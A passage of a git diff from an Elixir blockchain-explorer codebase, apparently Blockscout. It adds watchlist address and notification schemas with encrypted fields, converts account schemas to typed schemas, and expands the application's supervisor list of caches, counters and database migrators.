@attrs) + |> validate_length(:name, min: 1, max: 35) + |> validate_required([:name, :address_hash, :watchlist_id], message: "Required") + |> foreign_key_constraint(:watchlist_id, message: @watchlist_not_found) + |> put_hashed_fields() + |> unique_constraint([:watchlist_id, :address_hash_hash], + name: "unique_watchlist_id_address_hash_hash_index", + message: "Address already added to the watch list" + ) + |> check_address() + |> watchlist_address_count_constraint() + end + + defp put_hashed_fields(changeset) do + # Using force_change instead of put_change due to https://github.com/danielberkompas/cloak_ecto/issues/53 + changeset + |> force_change(:address_hash_hash, hash_to_lower_case_string(get_field(changeset, :address_hash))) + end + + @doc """ + Creates a new watchlist address record in a transactional context. + + Ensures data consistency by acquiring a lock on the associated watchlist record + before creating the watchlist address. The operation either succeeds completely + or fails without side effects. + + ## Parameters + - `attrs`: A map of attributes that must include: + - `:watchlist_id`: The ID of the associated watchlist + + ## Returns + - `{:ok, watchlist_address}` - Successfully created watchlist address record + - `{:error, changeset}` - A changeset with errors if: + - The watchlist doesn't exist + - The watchlist ID is missing from the attributes + - The changeset validation fails + """ + @spec create(map()) :: {:ok, t()} | {:error, Changeset.t()} + def create(%{watchlist_id: watchlist_id} = attrs) do + Multi.new() + |> Watchlist.acquire_with_lock(watchlist_id) + |> Multi.insert(:watchlist_address, fn _ -> + %__MODULE__{} + |> changeset(attrs) + end) + |> Repo.account_repo().transaction() + |> case do + {:ok, %{watchlist_address: watchlist_address}} -> + {:ok, watchlist_address} + + {:error, :acquire_watchlist, :not_found, _changes} -> + {:error, + %__MODULE__{} + |> changeset(attrs) + |> add_error(:watchlist_id, @watchlist_not_found, + constraint: :foreign, + constraint_name: "account_watchlist_addresses_identity_id_fkey" + )} + + {:error, _failed_operation, changeset, _changes} -> + {:error, changeset} + end + end + + def create(attrs) do + {:error, + %__MODULE__{} + |> changeset(attrs)} + end + + def watchlist_address_count_constraint(%Changeset{changes: %{watchlist_id: watchlist_id}} = watchlist_address) do + max_watchlist_addresses_count = get_max_watchlist_addresses_count() + + if watchlist_id + |> watchlist_addresses_by_watchlist_id_query() + |> limit(^max_watchlist_addresses_count) + |> Repo.account_repo().aggregate(:count, :id) >= max_watchlist_addresses_count do + watchlist_address + |> add_error(:name, "Max #{max_watchlist_addresses_count} watch list addresses per account") + else + watchlist_address + end + end + + def watchlist_address_count_constraint(changeset), do: changeset + + defp check_address(%Changeset{changes: %{address_hash: address_hash}, valid?: true} = changeset) do + check_address_inner(changeset, address_hash) + end + + defp check_address(%Changeset{data: %{address_hash: address_hash}, valid?: true} = changeset) do + check_address_inner(changeset, address_hash) + end + + defp check_address(changeset), do: changeset + + defp check_address_inner(changeset, address_hash) do + with {:ok, address_hash} <- ForbiddenAddress.check(address_hash), + {:ok, %Address{}} <- Chain.find_or_insert_address_from_hash(address_hash, []) do + changeset + else + {:error, reason} -> + add_error(changeset, :address_hash, reason) + end + end + + def watchlist_addresses_by_watchlist_id_query(watchlist_id) when not is_nil(watchlist_id) do + __MODULE__ + |> where([wl_address], wl_address.watchlist_id == ^watchlist_id) + end + + def watchlist_addresses_by_watchlist_id_query(_), do: nil + + @doc """ + Query paginated watchlist addresses by watchlist id + """ + @spec get_watchlist_addresses_by_watchlist_id(integer(), [Chain.paging_options()]) :: [__MODULE__] + def get_watchlist_addresses_by_watchlist_id(watchlist_id, options \\ []) + + def get_watchlist_addresses_by_watchlist_id(watchlist_id, options) when not is_nil(watchlist_id) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + case paging_options do + %PagingOptions{key: {0}} -> + [] + + _ -> + watchlist_id + |> watchlist_addresses_by_watchlist_id_query() + |> order_by([wla], desc: wla.id) + |> page_watchlist_address(paging_options) + |> limit(^paging_options.page_size) + |> Repo.account_repo().all() + end + end + + def get_watchlist_addresses_by_watchlist_id(_, _), do: [] + + defp page_watchlist_address(query, %PagingOptions{key: {id}}) do + query + |> where([wla], wla.id < ^id) + end + + defp page_watchlist_address(query, _), do: query + + def watchlist_address_by_id_and_watchlist_id_query(watchlist_address_id, watchlist_id) + when not is_nil(watchlist_address_id) and not is_nil(watchlist_id) do + __MODULE__ + |> where([wl_address], wl_address.watchlist_id == ^watchlist_id and wl_address.id == ^watchlist_address_id) + end + + def watchlist_address_by_id_and_watchlist_id_query(_, _), do: nil + + def get_watchlist_address_by_id_and_watchlist_id(watchlist_address_id, watchlist_id) + when not is_nil(watchlist_address_id) and not is_nil(watchlist_id) do + watchlist_address_id + |> watchlist_address_by_id_and_watchlist_id_query(watchlist_id) + |> Repo.account_repo().one() + end + + def get_watchlist_address_by_id_and_watchlist_id(_, _), do: nil + + def delete(watchlist_address_id, watchlist_id) + when not is_nil(watchlist_address_id) and not is_nil(watchlist_id) do + watchlist_address_id + |> watchlist_address_by_id_and_watchlist_id_query(watchlist_id) + |> Repo.account_repo().delete_all() + end + + def delete(_, _), do: nil + + def update(%{id: id, watchlist_id: watchlist_id} = attrs) do + with watchlist_address <- get_watchlist_address_by_id_and_watchlist_id(id, watchlist_id), + false <- is_nil(watchlist_address) do + watchlist_address + |> changeset(attrs) + |> Repo.account_repo().update() + else + true -> + {:error, %{reason: :item_not_found}} + end + end + + def get_max_watchlist_addresses_count, + do: Application.get_env(:explorer, Explorer.Account)[:watchlist_addresses_limit] + + def preload_address_fetched_coin_balance(%Watchlist{watchlist_addresses: watchlist_addresses} = watchlist) do + w_addresses = + Enum.map(watchlist_addresses, fn wa -> + preload_address_fetched_coin_balance(wa) + end) + + %Watchlist{watchlist | watchlist_addresses: w_addresses} + end + + def preload_address_fetched_coin_balance(%__MODULE__{address_hash: address_hash} = watchlist_address) do + %__MODULE__{watchlist_address | fetched_coin_balance: address_hash |> Address.fetched_coin_balance() |> Repo.one()} + end + + def preload_address_fetched_coin_balance(watchlist), do: watchlist + + @doc """ + Merges watchlist addresses into a primary watchlist. + + This function is used to merge multiple watchlists into a single primary watchlist. It updates + the `watchlist_id` of all addresses belonging to the watchlists being merged to point to the + primary watchlist. + + ## Parameters + + * `multi` - An `Ecto.Multi` struct representing the current multi-operation transaction. + + ## Returns + + Returns an updated `Ecto.Multi` struct with an additional `:merge_watchlist_addresses` operation. + + ## Operation Details + + The function adds a `:merge_watchlist_addresses` operation to the `Ecto.Multi` struct. This operation: + + 1. Identifies the primary watchlist and the watchlists to be merged from the results of previous operations. + 2. Updates all watchlist addresses associated with the watchlists being merged: + - Sets their `watchlist_id` to the ID of the primary watchlist. + - Sets their `user_created` flag to `false`. + + ## Notes + + - This function assumes that the `Explorer.Account.Watchlist.acquire_for_merge/3` function has been called previously in the + `Ecto.Multi` chain to provide the necessary data for the merge operation. + - After this operation, all addresses from the merged watchlists will be associated with the + primary watchlist, and their `user_created` status will be set to `false`. + """ + @spec merge(Multi.t()) :: Multi.t() + def merge(multi) do + multi + |> Multi.run(:merge_watchlist_addresses, fn repo, + %{ + acquire_primary_watchlist: [primary_watchlist | _], + acquire_watchlists_to_merge: watchlists_to_merge + } -> + primary_watchlist_id = primary_watchlist.id + watchlists_to_merge_ids = Enum.map(watchlists_to_merge, & &1.id) + + {:ok, + repo.update_all( + from(key in __MODULE__, where: key.watchlist_id in ^watchlists_to_merge_ids), + set: [watchlist_id: primary_watchlist_id, user_created: false] + )} + end) + end +end diff --git a/apps/explorer/lib/explorer/account/watchlist_notification.ex b/apps/explorer/lib/explorer/account/watchlist_notification.ex new file mode 100644 index 000000000000..9d5c9d4ca74f --- /dev/null +++ b/apps/explorer/lib/explorer/account/watchlist_notification.ex @@ -0,0 +1,151 @@ +defmodule Explorer.Account.WatchlistNotification do + @moduledoc """ + Stored notification about event + related to WatchlistAddress + """ + + use Explorer.Schema + + import Ecto.Changeset + import Explorer.Chain, only: [hash_to_lower_case_string: 1] + + alias Ecto.Multi + alias Explorer.Repo + alias Explorer.Account.{Watchlist, WatchlistAddress} + + typed_schema "account_watchlist_notifications" do + field(:amount, :decimal, null: false) + field(:block_number, :integer, null: false) + field(:direction, :string, null: false) + field(:method, :string, null: false) + field(:transaction_fee, :decimal, null: false) + field(:type, :string, null: false) + field(:viewed_at, :integer, null: false) + field(:name, Explorer.Encrypted.Binary, null: false) + field(:subject, Explorer.Encrypted.Binary) + field(:subject_hash, Cloak.Ecto.SHA256) :: binary() | nil + + belongs_to(:watchlist_address, WatchlistAddress) + belongs_to(:watchlist, Watchlist) + + field(:from_address_hash, Explorer.Encrypted.AddressHash) + field(:to_address_hash, Explorer.Encrypted.AddressHash) + field(:transaction_hash, Explorer.Encrypted.TransactionHash) + + field(:from_address_hash_hash, Cloak.Ecto.SHA256) :: binary() | nil + field(:to_address_hash_hash, Cloak.Ecto.SHA256) :: binary() | nil + field(:transaction_hash_hash, Cloak.Ecto.SHA256) :: binary() | nil + + timestamps() + end + + @doc false + def changeset(watchlist_notifications, attrs) do + watchlist_notifications + |> cast(attrs, [ + :amount, + :direction, + :name, + :type, + :method, + :block_number, + :transaction_fee, + :value, + :decimals, + :viewed_at + ]) + |> validate_required([ + :amount, + :direction, + :name, + :type, + :method, + :block_number, + :transaction_fee, + :value, + :decimals, + :viewed_at + ]) + |> put_hashed_fields() + end + + defp put_hashed_fields(changeset) do + # Using force_change instead of put_change due to https://github.com/danielberkompas/cloak_ecto/issues/53 + changeset + |> force_change(:from_address_hash_hash, hash_to_lower_case_string(get_field(changeset, :from_address_hash))) + |> force_change(:to_address_hash_hash, hash_to_lower_case_string(get_field(changeset, :to_address_hash))) + |> force_change(:transaction_hash_hash, hash_to_lower_case_string(get_field(changeset, :transaction_hash))) + |> force_change(:subject_hash, get_field(changeset, :subject)) + end + + @doc """ + Check if amount of watchlist notifications for the last 30 days is less than ACCOUNT_WATCHLIST_NOTIFICATIONS_LIMIT_FOR_30_DAYS + """ + @spec limit_reached_for_watchlist_id?(integer) :: boolean + def limit_reached_for_watchlist_id?(watchlist_id) do + __MODULE__ + |> where( + [wn], + wn.watchlist_id == ^watchlist_id and + fragment("NOW() - ? at time zone 'UTC' <= interval '30 days'", wn.inserted_at) + ) + |> limit(^watchlist_notification_30_days_limit()) + |> Repo.account_repo().aggregate(:count) == watchlist_notification_30_days_limit() + end + + defp watchlist_notification_30_days_limit do + Application.get_env(:explorer, Explorer.Account)[:notifications_limit_for_30_days] + end + + @doc """ + Merges watchlist notifications into a primary watchlist. + + This function is used to merge notifications from multiple watchlists into a single primary watchlist. + It updates the `watchlist_id` of all notifications belonging to the watchlists being merged to point + to the primary watchlist. + + ## Parameters + + * `multi` - An `Ecto.Multi` struct representing the current multi-operation transaction. + + ## Returns + + Returns an updated `Ecto.Multi` struct with an additional `:merge_watchlist_notifications` operation. + + ## Operation Details + + The function adds a `:merge_watchlist_notifications` operation to the `Ecto.Multi` struct. This operation: + + 1. Identifies the primary watchlist and the watchlists to be merged from the results of previous operations. + 2. Updates all notifications associated with the watchlists being merged: + - Sets their `watchlist_id` to the ID of the primary watchlist. + + + ## Notes + + - This function assumes that the `Explorer.Account.Watchlist.acquire_for_merge/3` function has been called previously in the + `Ecto.Multi` chain to provide the necessary data for the merge operation. + - After this operation, all notifications from the merged watchlists will be associated with the + primary watchlist. + - This function is typically used as part of a larger watchlist merging process, which may include + merging other related data such as watchlist addresses. + """ + @spec merge(Multi.t()) :: Multi.t() + def merge(multi) do + multi + |> Multi.run(:merge_watchlist_notifications, fn repo, + %{ + acquire_primary_watchlist: [primary_watchlist | _], + acquire_watchlists_to_merge: watchlists_to_merge + } -> + primary_watchlist_id = primary_watchlist.id + watchlists_to_merge_ids = Enum.map(watchlists_to_merge, & &1.id) + + {:ok, + repo.update_all( + from(notification in __MODULE__, where: notification.watchlist_id in ^watchlists_to_merge_ids), + set: [watchlist_id: primary_watchlist_id] + )} + end) + end +end diff --git a/apps/explorer/lib/explorer/accounts/user.ex b/apps/explorer/lib/explorer/accounts/user.ex index fd797d0b9532..20291b95c651 100644 --- a/apps/explorer/lib/explorer/accounts/user.ex +++ b/apps/explorer/lib/explorer/accounts/user.ex @@ -16,13 +16,7 @@ defmodule Explorer.Accounts.User do * `:password_hash` - Encrypted password * `:contacts` - List of `t:UserContact.t/0` """ - @type t :: %User{ - username: String.t(), - password_hash: String.t(), - contacts: [UserContact.t()] - } - - schema "users" do + typed_schema "users" do field(:username, :string) field(:password, :string, virtual: true) field(:password_hash, :string) diff --git a/apps/explorer/lib/explorer/accounts/user/authenticate.ex b/apps/explorer/lib/explorer/accounts/user/authenticate.ex index 08626c18b0cb..ea127d1a05ab 100644 --- a/apps/explorer/lib/explorer/accounts/user/authenticate.ex +++ b/apps/explorer/lib/explorer/accounts/user/authenticate.ex @@ -7,9 +7,9 @@ defmodule Explorer.Accounts.User.Authenticate do import Ecto.Changeset - embedded_schema do - field(:username, :string) - field(:password, :string) + typed_embedded_schema do + field(:username, :string, null: false) + field(:password, :string, null: false) end @required_attrs ~w(password username)a diff --git a/apps/explorer/lib/explorer/accounts/user/registration.ex b/apps/explorer/lib/explorer/accounts/user/registration.ex index 360e6bbb5e00..b62dd1c25e40 100644 --- a/apps/explorer/lib/explorer/accounts/user/registration.ex +++ b/apps/explorer/lib/explorer/accounts/user/registration.ex @@ -9,13 +9,11 @@ defmodule Explorer.Accounts.User.Registration do alias Explorer.Accounts.User.Registration - @type t :: %__MODULE__{} - - embedded_schema do - field(:username, :string) - field(:email, :string) - field(:password, :string) - field(:password_confirmation, :string) + typed_embedded_schema do + field(:username, :string, null: false) + field(:email, :string, null: false) + field(:password, :string, null: false) + field(:password_confirmation, :string, null: false) end @fields ~w(email password password_confirmation username)a diff --git a/apps/explorer/lib/explorer/accounts/user_contact.ex b/apps/explorer/lib/explorer/accounts/user_contact.ex index 5d6117ef998b..5b53692f38e1 100644 --- a/apps/explorer/lib/explorer/accounts/user_contact.ex +++ b/apps/explorer/lib/explorer/accounts/user_contact.ex @@ -19,17 +19,10 @@ defmodule Explorer.Accounts.UserContact do * `:verified` - Flag indicating if email contact has been verified * `:user` - owning `t:User.t/0` """ - @type t :: %UserContact{ - email: String.t(), - primary: boolean(), - verified: boolean(), - user: User.t() - } - - schema "user_contacts" do - field(:email, :string) - field(:primary, :boolean, default: false) - field(:verified, :boolean, default: false) + typed_schema "user_contacts" do + field(:email, :string, null: false) + field(:primary, :boolean, default: false, null: false) + field(:verified, :boolean, default: false, null: false) belongs_to(:user, User) diff --git a/apps/explorer/lib/explorer/admin/administrator.ex b/apps/explorer/lib/explorer/admin/administrator.ex index 20ec8d92b320..2f3109c10bc4 100644 --- a/apps/explorer/lib/explorer/admin/administrator.ex +++ b/apps/explorer/lib/explorer/admin/administrator.ex @@ -8,22 +8,15 @@ defmodule Explorer.Admin.Administrator do import Ecto.Changeset alias Explorer.Accounts.User - alias Explorer.Admin.Administrator - alias Explorer.Admin.Administrator.Role @typedoc """ * `:role` - Administrator's role determining permission level * `:user` - The `t:User.t/0` that is an admin * `:user_id` - User foreign key """ - @type t :: %Administrator{ - role: Role.t(), - user: User.t() | %Ecto.Association.NotLoaded{} - } - - schema "administrators" do - field(:role, :string) - belongs_to(:user, User) + typed_schema "administrators" do + field(:role, :string, null: false) + belongs_to(:user, User, null: false) timestamps() end diff --git a/apps/explorer/lib/explorer/application.ex b/apps/explorer/lib/explorer/application.ex index c42370c0e5e0..757c61c389ae 100644 --- a/apps/explorer/lib/explorer/application.ex +++ b/apps/explorer/lib/explorer/application.ex @@ -9,24 +9,35 @@ defmodule Explorer.Application do alias Explorer.Chain.Cache.{ Accounts, - AddressSum, - AddressSumMinusBurnt, - Block, + BackgroundMigrations, BlockNumber, Blocks, + ChainId, GasPriceOracle, - GasUsage, MinMissingBlockNumber, - NetVersion, - Transaction, + StateChanges, Transactions, + TransactionsApiV2, Uncles } + alias Explorer.Chain.Cache.Counters.{ + AddressesCoinBalanceSum, + AddressesCoinBalanceSumMinusBurnt, + AddressTabsElementsCount, + BlocksCount, + GasUsageSum, + PendingBlockOperationCount, + TransactionsCount + } + + alias Explorer.Chain.Optimism.InteropMessage, as: OptimismInteropMessage alias Explorer.Chain.Supply.RSK alias Explorer.Market.MarketHistoryCache + alias Explorer.MicroserviceInterfaces.MultichainSearch alias Explorer.Repo.PrometheusLogger + alias Explorer.Utility.Hammer @impl Application def start(_type, _args) do @@ -43,63 +54,323 @@ defmodule Explorer.Application do base_children = [ Explorer.Repo, Explorer.Repo.Replica1, + Explorer.Vault, Supervisor.child_spec({SpandexDatadog.ApiServer, datadog_opts()}, id: SpandexDatadog.ApiServer), Supervisor.child_spec({Task.Supervisor, name: Explorer.HistoryTaskSupervisor}, id: Explorer.HistoryTaskSupervisor), Supervisor.child_spec({Task.Supervisor, name: Explorer.MarketTaskSupervisor}, id: Explorer.MarketTaskSupervisor), Supervisor.child_spec({Task.Supervisor, name: Explorer.GenesisDataTaskSupervisor}, id: GenesisDataTaskSupervisor), Supervisor.child_spec({Task.Supervisor, name: Explorer.TaskSupervisor}, id: Explorer.TaskSupervisor), + Supervisor.child_spec({Task.Supervisor, name: Explorer.LookUpSmartContractSourcesTaskSupervisor}, + id: LookUpSmartContractSourcesTaskSupervisor + ), + Supervisor.child_spec({Task.Supervisor, name: Explorer.WETHMigratorSupervisor}, id: WETHMigratorSupervisor), Explorer.SmartContract.SolcDownloader, Explorer.SmartContract.VyperDownloader, + Explorer.Chain.Health.Monitor, {Registry, keys: :duplicate, name: Registry.ChainEvents, id: Registry.ChainEvents}, {Admin.Recovery, [[], [name: Admin.Recovery]]}, - Transaction, - AddressSum, - AddressSumMinusBurnt, - Block, + Accounts, + AddressesCoinBalanceSum, + AddressesCoinBalanceSumMinusBurnt, + BackgroundMigrations, + BlocksCount, + BlockNumber, Blocks, + ChainId, GasPriceOracle, - GasUsage, - NetVersion, - BlockNumber, + GasUsageSum, + PendingBlockOperationCount, + TransactionsCount, + StateChanges, + Transactions, + TransactionsApiV2, + Uncles, + AddressTabsElementsCount, con_cache_child_spec(MarketHistoryCache.cache_name()), con_cache_child_spec(RSK.cache_name(), ttl_check_interval: :timer.minutes(1), global_ttl: :timer.minutes(30)), - Transactions, - Accounts, - Uncles + {Redix, redix_opts()}, + {Explorer.Utility.MissingRangesManipulator, []}, + {Explorer.Utility.ReplicaAccessibilityManager, []}, + :hackney_pool.child_spec(:default, + recv_timeout: 60_000, + timeout: 60_000, + max_connections: Application.get_env(:explorer, :hackney_default_pool_size) + ) ] children = base_children ++ configurable_children() opts = [strategy: :one_for_one, name: Explorer.Supervisor, max_restarts: 1_000] - Supervisor.start_link(children, opts) + if Application.get_env(:nft_media_handler, :standalone_media_worker?) do + Supervisor.start_link([], opts) + else + Supervisor.start_link(children, opts) + end end defp configurable_children do - [ - configure(Explorer.ExchangeRates), - configure(Explorer.ChainSpec.GenesisData), - configure(Explorer.KnownTokens), - configure(Explorer.Market.History.Cataloger), - configure(Explorer.Chain.Cache.TokenExchangeRate), - configure(Explorer.Chain.Transaction.History.Historian), - configure(Explorer.Chain.Events.Listener), - configure(Explorer.Counters.AddressesWithBalanceCounter), - configure(Explorer.Counters.AddressesCounter), - configure(Explorer.Counters.AddressTransactionsCounter), - configure(Explorer.Counters.AddressTokenTransfersCounter), - configure(Explorer.Counters.AddressTransactionsGasUsageCounter), - configure(Explorer.Counters.AddressTokenUsdSum), - configure(Explorer.Counters.TokenHoldersCounter), - configure(Explorer.Counters.TokenTransfersCounter), - configure(Explorer.Counters.BlockBurnedFeeCounter), - configure(Explorer.Counters.BlockPriorityFeeCounter), - configure(Explorer.Counters.AverageBlockTime), - configure(Explorer.Counters.Bridge), - configure(Explorer.Validator.MetadataProcessor), - configure(MinMissingBlockNumber) - ] - |> List.flatten() + configurable_children_set = + [ + configure_mode_dependent_process(Explorer.Market.Fetcher.Coin, :api), + configure_mode_dependent_process(Explorer.Market.Fetcher.Token, :indexer), + configure_mode_dependent_process(Explorer.Market.Fetcher.History, :indexer), + configure(Explorer.ChainSpec.GenesisData), + configure(Explorer.Chain.Cache.Counters.ContractsCount), + configure(Explorer.Chain.Cache.Counters.NewContractsCount), + configure(Explorer.Chain.Cache.Counters.VerifiedContractsCount), + configure(Explorer.Chain.Cache.Counters.NewVerifiedContractsCount), + configure(Explorer.Chain.Cache.TransactionActionTokensData), + configure(Explorer.Chain.Cache.TransactionActionUniswapPools), + configure(Explorer.Chain.Cache.Counters.WithdrawalsSum), + configure(Explorer.Chain.Transaction.History.Historian), + configure(Explorer.Chain.Events.Listener), + configure(Explorer.Chain.Cache.Counters.AddressesCount), + configure(Explorer.Chain.Cache.Counters.AddressTransactionsCount), + configure(Explorer.Chain.Cache.Counters.AddressTokenTransfersCount), + configure(Explorer.Chain.Cache.Counters.AddressTransactionsGasUsageSum), + configure(Explorer.Chain.Cache.Counters.AddressTokensUsdSum), + configure(Explorer.Chain.Cache.Counters.TokenHoldersCount), + configure(Explorer.Chain.Cache.Counters.TokenTransfersCount), + configure(Explorer.Chain.Cache.Counters.BlockBurntFeeCount), + configure(Explorer.Chain.Cache.Counters.BlockPriorityFeeCount), + configure(Explorer.Chain.Cache.Counters.AverageBlockTime), + configure(Explorer.Chain.Cache.Counters.Optimism.LastOutputRootSizeCount), + configure(Explorer.Chain.Cache.Counters.NewPendingTransactionsCount), + configure(Explorer.Chain.Cache.Counters.Transactions24hCount), + configure(Explorer.Validator.MetadataProcessor), + configure(Explorer.Tags.AddressTag.Cataloger), + configure(Explorer.SmartContract.CertifiedSmartContractCataloger), + configure(MinMissingBlockNumber), + configure(Explorer.Chain.Fetcher.CheckBytecodeMatchingOnDemand), + configure(Explorer.Chain.Fetcher.FetchValidatorInfoOnDemand), + configure(Explorer.TokenInstanceOwnerAddressMigration.Supervisor), + configure_sc_microservice(Explorer.Chain.Fetcher.LookUpSmartContractSourcesOnDemand), + configure(Explorer.Chain.Cache.Counters.Rootstock.LockedBTCCount), + configure(Explorer.Chain.Cache.OptimismFinalizationPeriod), + configure(Explorer.Chain.Cache.CeloEpochs), + configure_mode_dependent_process(Explorer.Migrator.TransactionsDenormalization, :indexer), + configure_mode_dependent_process(Explorer.Migrator.AddressCurrentTokenBalanceTokenType, :indexer), + configure_mode_dependent_process(Explorer.Migrator.AddressTokenBalanceTokenType, :indexer), + configure_mode_dependent_process(Explorer.Migrator.SanitizeMissingBlockRanges, :indexer), + configure_mode_dependent_process(Explorer.Migrator.SanitizeIncorrectNFTTokenTransfers, :indexer), + configure_mode_dependent_process(Explorer.Migrator.TokenTransferTokenType, :indexer), + configure_mode_dependent_process(Explorer.Migrator.SanitizeIncorrectWETHTokenTransfers, :indexer), + configure_mode_dependent_process(Explorer.Migrator.TransactionBlockConsensus, :indexer), + configure_mode_dependent_process(Explorer.Migrator.TokenTransferBlockConsensus, :indexer), + configure_mode_dependent_process(Explorer.Migrator.RestoreOmittedWETHTransfers, :indexer), + configure_mode_dependent_process(Explorer.Migrator.FilecoinPendingAddressOperations, :indexer), + configure_mode_dependent_process(Explorer.Migrator.SmartContractLanguage, :indexer), + configure_mode_dependent_process(Explorer.Migrator.CeloL2Epochs, :indexer), + configure_mode_dependent_process(Explorer.Migrator.SanitizeErc1155TokenBalancesWithoutTokenIds, :indexer), + Explorer.Migrator.BackfillMultichainSearchDB + |> configure_mode_dependent_process(:indexer) + |> configure_multichain_search_microservice(), + configure_mode_dependent_process(Explorer.Migrator.ArbitrumDaRecordsNormalization, :indexer), + configure_mode_dependent_process(Explorer.Migrator.ShrinkInternalTransactions, :indexer), + configure_chain_type_dependent_process(Explorer.Chain.Cache.Counters.Blackfort.ValidatorsCount, :blackfort), + configure_chain_type_dependent_process(Explorer.Chain.Cache.Counters.Stability.ValidatorsCount, :stability), + configure_chain_type_dependent_process(Explorer.Chain.Cache.LatestL1BlockNumber, [ + :optimism, + :polygon_zkevm, + :scroll, + :shibarium + ]), + configure_chain_type_dependent_con_cache(), + Explorer.Migrator.SanitizeDuplicatedLogIndexLogs + |> configure_mode_dependent_process(:indexer) + |> configure_chain_type_dependent_process([ + :polygon_zkevm, + :rsk, + :filecoin + ]), + configure_mode_dependent_process(Explorer.Migrator.SanitizeMissingTokenBalances, :indexer), + configure_mode_dependent_process(Explorer.Migrator.SanitizeReplacedTransactions, :indexer), + configure_mode_dependent_process(Explorer.Migrator.SanitizeVerifiedAddresses, :indexer), + configure_mode_dependent_process(Explorer.Migrator.SanitizeEmptyContractCodeAddresses, :indexer), + configure_mode_dependent_process(Explorer.Migrator.ReindexInternalTransactionsWithIncompatibleStatus, :indexer), + configure_mode_dependent_process(Explorer.Migrator.ReindexDuplicatedInternalTransactions, :indexer), + configure_mode_dependent_process(Explorer.Migrator.MergeAdjacentMissingBlockRanges, :indexer), + configure_mode_dependent_process(Explorer.Migrator.UnescapeQuotesInTokens, :indexer), + configure_mode_dependent_process(Explorer.Migrator.ReindexBlocksWithMissingTransactions, :indexer), + configure_mode_dependent_process(Explorer.Migrator.SanitizeDuplicateSmartContractAdditionalSources, :indexer), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedIndex, + :indexer + ), + configure_mode_dependent_process(Explorer.Migrator.HeavyDbIndexOperation.CreateLogsBlockHashIndex, :indexer), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.DropLogsBlockNumberAscIndexAscIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.CreateLogsAddressHashBlockNumberDescIndexDescIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.DropLogsAddressHashIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.DropLogsAddressHashTransactionHashIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.DropLogsIndexIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.CreateLogsAddressHashFirstTopicBlockNumberIndexIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersBlockNumberAscLogIndexAscIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersFromAddressHashTransactionHashIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersToAddressHashTransactionHashIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersTokenContractAddressHashTransactionHashIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersBlockNumberIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.DropInternalTransactionsFromAddressHashIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.CreateInternalTransactionsBlockNumberDescTransactionIndexDescIndexDescIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.DropAddressesVerifiedIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedHashIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedTransactionsCountDescHashIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedFetchedCoinBalanceDescHashIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.CreateSmartContractsLanguageIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.CreateArbitrumBatchL2BlocksUnconfirmedBlocksIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.DropTransactionsCreatedContractAddressHashWithPendingIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.DropTransactionsFromAddressHashWithPendingIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.DropTransactionsToAddressHashWithPendingIndex, + :indexer + ), + configure_mode_dependent_process(Explorer.Migrator.BackfillMetadataURL, :indexer), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.CreateLogsDepositsWithdrawalsIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesTransactionsCountDescPartialIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesTransactionsCountAscCoinBalanceDescHashPartialIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.CreateInternalTransactionsBlockHashTransactionIndexIndexUniqueIndex, + :indexer + ), + configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.CreateSmartContractAdditionalSourcesUniqueIndex, + :indexer + ), + Explorer.Migrator.RefetchContractCodes |> configure() |> configure_chain_type_dependent_process(:zksync), + configure(Explorer.Chain.Fetcher.AddressesBlacklist), + Explorer.Migrator.SwitchPendingOperations, + configure_mode_dependent_process(Explorer.Utility.RateLimiter, :api), + Hammer.child_for_supervisor() |> configure_mode_dependent_process(:api) + ] + |> List.flatten() + + repos_by_chain_type() ++ account_repo() ++ mud_repo() ++ event_notification_repo() ++ configurable_children_set + end + + defp repos_by_chain_type do + if Mix.env() == :test do + [ + Explorer.Repo.Arbitrum, + Explorer.Repo.Beacon, + Explorer.Repo.Blackfort, + Explorer.Repo.BridgedTokens, + Explorer.Repo.Celo, + Explorer.Repo.Filecoin, + Explorer.Repo.Optimism, + Explorer.Repo.PolygonEdge, + Explorer.Repo.PolygonZkevm, + Explorer.Repo.RSK, + Explorer.Repo.Scroll, + 